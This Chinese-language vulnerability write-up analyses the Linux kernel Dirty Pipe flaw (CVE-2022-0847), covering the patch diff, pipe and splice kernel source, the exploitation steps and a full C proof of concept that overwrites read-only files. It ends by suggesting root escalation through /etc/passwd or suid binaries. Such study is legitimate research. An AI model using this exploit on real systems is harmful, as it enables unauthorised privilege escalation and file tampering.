CVE-2022-0847 Dirty Pipe

漏洞简介

Description

A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

简单的来说就是由于没有对pipe_buffer->flags字段进行初始化,最后导致了越权写入。类似于"dirty cow"漏洞,但该漏洞的利用条件更为简单。

漏洞编号: CVE-2022-0847
适用版本: 该漏洞影响从5.8开始的大部分主流版本,直到5.16.11, 5.15.25, 5.10.102才被修复。
漏洞评分: CVSS Version 3.x: 7.8(HIGH)
		CVSS Version 2.0: 7.2(HIGH)
漏洞危害: 本地提权,对任意文件(至少具有读权限)写入不超过一张内存页的数据。

Patch

参考这个commit

diff --git a/lib/iov_iter.c b/lib/iov_iter.c
index b0e0acdf96c15..6dd5330f7a995 100644
--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
 		return 0;
 
 	buf->ops = &page_cache_pipe_buf_ops;
+	buf->flags = 0;
 	get_page(page);
 	buf->page = page;
 	buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
 			break;
 
 		buf->ops = &default_pipe_buf_ops;
+		buf->flags = 0;
 		buf->page = page;
 		buf->offset = 0;
 		buf->len = min_t(ssize_t, left, PAGE_SIZE);

漏洞分析

笔者复现时使用的内核是linux-5.16.10,文件系统是busybox-1.3.2编译的。以下操作和源码皆基于此版本。

pipe相关

管道是IPC的一个重要实现手段,其本体是一个pipe_inode_info结构体,

struct pipe_inode_info {
	struct mutex mutex; // 全局互斥体
	wait_queue_head_t rd_wait; // 空管道中reader的等待点
    wait_queue_head_t wr_wait; // 满管道中writer的等待点
	unsigned int head; // 缓冲区生产点(The point of buffer production)
	unsigned int tail; // 缓冲区消费点(The point of buffer consumption)
	unsigned int max_usage; // 环上可使用的slot的最大数量
	unsigned int ring_size; // 缓冲区的总数(必须是2的次方)
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss; // The next read() should insert a data-lost message
#endif
	unsigned int nr_accounted; // 此管道在user->pipe_bufs中占的数量
	unsigned int readers; // 当前管道reader的数量
	unsigned int writers; // 当前管道writer的数量
	unsigned int files; // 该管道被struct file引用的数量(protected by ->i_lock)
	unsigned int r_counter; // reader计数器
	unsigned int w_counter; // writer计数器
	unsigned int poll_usage; // is this pipe used for epoll, which has crazy wakeups?
	struct page *tmp_page; // cached released page
	struct fasync_struct *fasync_readers; // 读端fasync
	struct fasync_struct *fasync_writers; // 写端fasync
	struct pipe_buffer *bufs; // pipe_buffer的循环队列
	struct user_struct *user; // 创建该管道的用户
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue; // stuff for watch_queue
#endif
};

通过对该结构维护的缓冲区进行读写即可完成进程间的读写通信。

pipe_buffer的结构如下:

struct pipe_buffer {
	struct page *page; // 缓冲区所在的内存页
	unsigned int offset, len; // 缓冲区在对应内存页中的偏移和长度
	const struct pipe_buf_operations *ops; //pipe_buffer结构的vtable(pipe_buf_operations)
	unsigned int flags; // 标志位
	unsigned long private; // private data owned by the ops
};

在使用pipe()创建管道时,pipe_buffer的ops被赋值为pipefifo_fops

const struct file_operations pipefifo_fops = {
	.open		= fifo_open,
	.llseek		= no_llseek,
	.read_iter	= pipe_read,
	.write_iter	= pipe_write,
	.poll		= pipe_poll,
	.unlocked_ioctl	= pipe_ioctl,
	.release	= pipe_release,
	.fasync		= pipe_fasync,
	.splice_write	= iter_file_splice_write,
};

pipe_write

将数据写入bufs中,在管道非空时,会尝试将新内容合并到队列的最后一个buffer中(需要目标buffer设置了PIPE_BUF_FLAG_CAN_MERGE标志位)。若该buffer写满之后还有剩余数据,则将新buffer入队,然后继续写入(此时可能会开辟新的物理页,且新buffer若未指定O_DIRECT选项就会标记上PIPE_BUF_FLAG_CAN_MERGE)。若管道满了,会做一些等待,被重新唤醒之后检查是否符合条件并尝试继续写入数据。

pipe_read

从bufs中读出数据,若管道已满,只有在开始读取后才会唤醒writer进行写入(使用WF_SYNC同步唤醒)。逐buffer读出数据,如果读完了则让对应buffer出队。

splice调用

原型:

ssize_t splice(int fd_in, loff_t *off_in, int fd_out,
               loff_t *off_out, size_t len, unsigned int flags);
/* @fd_in: 目标文件
 * @off_in: 从指定的文件偏移处开始读取
 * @fd_out: 指代一个pipe
 * @len: 要传输的数据长度
 * @flags: 标志位
 */

该系统调用将pipe的缓存页用作文件之间数据的缓存页,实现跨文件的数据拷贝,避免了频繁的内核和用户间数据拷贝。

有以下调用链:splice -> __do_splice -> do_splice

long do_splice(struct file *in, loff_t *off_in, struct file *out,
	       loff_t *off_out, size_t len, unsigned int flags)
{
	struct pipe_inode_info *ipipe;
	struct pipe_inode_info *opipe;
	loff_t offset;
	long ret;

	if (unlikely(!(in->f_mode & FMODE_READ) ||
		     !(out->f_mode & FMODE_WRITE)))
		return -EBADF;

	ipipe = get_pipe_info(in, true);
	opipe = get_pipe_info(out, true);

	if (ipipe && opipe) {
		if (off_in || off_out)
			return -ESPIPE;

		/* Splicing to self would be fun, but... */
		if (ipipe == opipe)
			return -EINVAL;

		if ((in->f_flags | out->f_flags) & O_NONBLOCK)
			flags |= SPLICE_F_NONBLOCK;

		return splice_pipe_to_pipe(ipipe, opipe, len, flags);
	}

	if (ipipe) {
		if (off_in)
			return -ESPIPE;
		if (off_out) {
			if (!(out->f_mode & FMODE_PWRITE))
				return -EINVAL;
			offset = *off_out;
		} else {
			offset = out->f_pos;
		}

		if (unlikely(out->f_flags & O_APPEND))
			return -EINVAL;

		ret = rw_verify_area(WRITE, out, &offset, len);
		if (unlikely(ret < 0))
			return ret;

		if (in->f_flags & O_NONBLOCK)
			flags |= SPLICE_F_NONBLOCK;

		file_start_write(out);
		ret = do_splice_from(ipipe, out, &offset, len, flags);
		file_end_write(out);

		if (!off_out)
			out->f_pos = offset;
		else
			*off_out = offset;

		return ret;
	}

	if (opipe) {
		if (off_out)
			return -ESPIPE;
		if (off_in) {
			if (!(in->f_mode & FMODE_PREAD))
				return -EINVAL;
			offset = *off_in;
		} else {
			offset = in->f_pos;
		}

		if (out->f_flags & O_NONBLOCK)
			flags |= SPLICE_F_NONBLOCK;

		ret = splice_file_to_pipe(in, opipe, &offset, len, flags);
		if (!off_in)
			in->f_pos = offset;
		else
			*off_in = offset;

		return ret;
	}

	return -EINVAL;
}

可以看出,该函数对几种不同需求进行了分发处理,

ipipe到opipe: splice_pipe_to_pipe

ipipe到文件: do_splice_from

文件到opipe: spice_file_to_pipe

spice_file_to_pipe

long splice_file_to_pipe(struct file *in,
			 struct pipe_inode_info *opipe,
			 loff_t *offset,
			 size_t len, unsigned int flags)
{
	long ret;

	pipe_lock(opipe);
	ret = wait_for_space(opipe, flags);
	if (!ret)
		ret = do_splice_to(in, offset, opipe, len, flags);
	pipe_unlock(opipe);
	if (ret > 0)
		wakeup_pipe_readers(opipe);
	return ret;
}

该函数会调用do_splice_to -> generic_file_splice_read -> call_read_iter -> ext4_file_read_iter -> generic_file_read_iter -> filemap_read -> filemap_get_pages -> copy_page_to_iter -> __copy_page_to_iter -> copy_page_to_iter_pipe

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	if (unlikely(bytes > i->count))
		bytes = i->count;

	if (unlikely(!bytes))
		return 0;

	if (!sanity(i))
		return 0;

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask]; // 找到pipe bufs队列当前生产点的pipe_buffer
	if (off) {
		if (offset == off && buf->page == page) {
			/* merge with the last one */
			buf->len += bytes;
			i->iov_offset += bytes;
			goto out;
		}
		i_head++;
		buf = &pipe->bufs[i_head & p_mask];
	}
	if (pipe_full(i_head, p_tail, pipe->max_usage))
		return 0;

	buf->ops = &page_cache_pipe_buf_ops;
	get_page(page); // 增加该页框引用计数
	buf->page = page; // 将pipe buffer的page指针指向该文件的物理页
	buf->offset = offset;
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}

该函数直接在pipe的缓冲区队列中建立了一个到目标文件页框的映射,相当于完成了一个从文件读取数据到管道的过程。

值得注意的是在这个函数中并没有对buf->flags进行初始化,这也是该漏洞的重要成因。

利用手法

  • 首先创建一个pipe,利用pipe_write填满缓冲队列,使所有pipe_buffer的flags字段都具有PIPE_BUF_FLAG_CAN_MERGE
  • 利用pipe_read清空缓冲队列,使splice调用能直接使用到初始化过flags的buffer,简化利用模型
  • 打开目标文件,使用splice系统调用将对应文件的页框映射到某个pipe_buffer上并写入至少1字节数据,不过要注意的是此时需要预留一定的位置来让下次对该buffer的pipe_read走PIPE_BUF_FLAG_CAN_MERGE这个分支来覆盖掉目标文件的内容。
  • 向管道写入数据,达成利用目标

poc

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/user.h>

#define PAGE_SIZE 4096

int main(int argc, char **argv)
{
	if (argc != 4) {
		printf("Usage: %s offset target_file data\n", argv[0]);
		exit(0);
	}
	
	loff_t offset = strtoul(argv[1], NULL, 0);
	
	int fd = open(argv[2], O_RDONLY);
	struct stat fd_stat;
	if (fd == -1) {
		puts("[-] cannot open target file.");
		exit(-1);
	}
	fstat(fd, &fd_stat);
	
	const char *const data = argv[3];
	const size_t data_size = strlen(data);
	if (offset > fd_stat.st_size
		|| offset + data_size > fd_stat.st_size
		|| (offset % PAGE_SIZE) + data_size > PAGE_SIZE) {
		puts("[-] argv wriong.");
		exit(-1);
	}
	
	int pipe_fd[2];
	pipe(pipe_fd);
	
	int pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
	char *buffer = (char *) malloc(PAGE_SIZE);
	
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(pipe_fd[1], buffer, n);
		r -= n;
	}

	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(pipe_fd[0], buffer, n);
		r -= n;
	}
	
	--offset; // read 1 bytes in splice()
	splice(fd, &offset, pipe_fd[1], NULL, 1, 0);
	
	if(write(pipe_fd[1], data, data_size) == data_size) {
		puts("[+] success!");
	}
	
	return 0;
}
1685016551639.png

成功修改只读文件

提权

虽然只能读入不超过一张内存页的内容,且目标文件至少需要具有读权限,但实战中仍有大量文件是满足利用条件的。比如说往/etc/passwd中加入一个root权限的用户,或者劫持具有suid权限的程序来执行提权code。